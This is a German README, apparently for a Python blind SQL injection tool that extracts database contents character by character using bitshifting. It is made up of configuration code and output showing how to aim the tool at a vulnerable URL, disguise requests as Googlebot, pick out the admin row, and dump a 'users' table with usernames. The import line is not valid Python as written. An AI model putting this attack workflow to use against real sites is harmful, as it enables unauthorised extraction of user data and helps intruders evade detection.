
Ein Blind-SQL-Injection-Modul, das Bitshifting zur Berechnung von Zeichen verwendet.
Dies ist ein Modul, das blinde SQL-Injection durch die Methode des Bitshifting durchführt, um Zeichen zu berechnen statt sie zu erraten. Es benötigt 7/8 Anfragen pro Zeichen, abhängig von der Konfiguration.
import blind-sql-bitshifting as x
# Edit this dictionary to configure attack vectors
x.options
# Vulnerable link
x.options["target"] = "http://www.example.com/index.php?id=1"
# Specify cookie (optional)
x.options["cookies"] = ""
# Specify a condition for a specific row, e.g. 'uid=1' for admin (optional)
x.options["row_condition"] = ""
# Boolean option for following redirections
x.options["follow_redirections"] = 0
# Specify user-agent
x.options["user_agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
# Specify table to dump
x.options["table_name"] = "users"
# Specify columns to dump
x.options["columns"] = "id, username"
# String to check for on page after successful statement
x.options["truth_string"] = "<p id='success'>true</p>"
# See below
x.options["assume_only_ascii"] = 1
Die Option assume_only_ascii bewirkt, dass das Modul davon ausgeht, dass die ausgelesenen Zeichen alle ASCII sind. Da der ASCII-Zeichensatz nur bis 127 reicht, können wir das erste Bit auf 0 setzen und müssen es nicht berechnen. Das reduziert die Anfragen um 12,5%. Bei lokalen Tests ergab sich dadurch eine durchschnittliche Geschwindigkeitssteigerung von 15%. Natürlich kann dies Probleme verursachen, wenn Zeichen außerhalb des ASCII-Bereichs ausgelesen werden. Standardmäßig ist es auf 0 gesetzt.
Nach der Konfiguration:
data = x.exploit()
Dies gibt ein zweidimensionales Array zurück, wobei jedes Unterarray eine einzelne Zeile enthält, die erste sind die Spaltenüberschriften.
Beispielausgabe:
[['id', 'username'], ['1', 'user1'], ['2', 'user2'], ['3', 'user3'], ['4', 'user4']]
Optional können Ihre Skripte dann das tabulate-Modul nutzen, um die Daten auszugeben:
from tabulate import tabulate
data = x.exploit()
print tabulate(data,
headers='firstrow', # This specifies to use the first row as the column headers.
tablefmt='psql') # Using the SQL output format. Other formats can be used.
Dies würde folgende Ausgabe erzeugen:
+------+------------+
| id | username |
|------+------------|
| 1 | user1 |
| 2 | user2 |
| 3 | user3 |
| 4 | user4 |
+------+------------+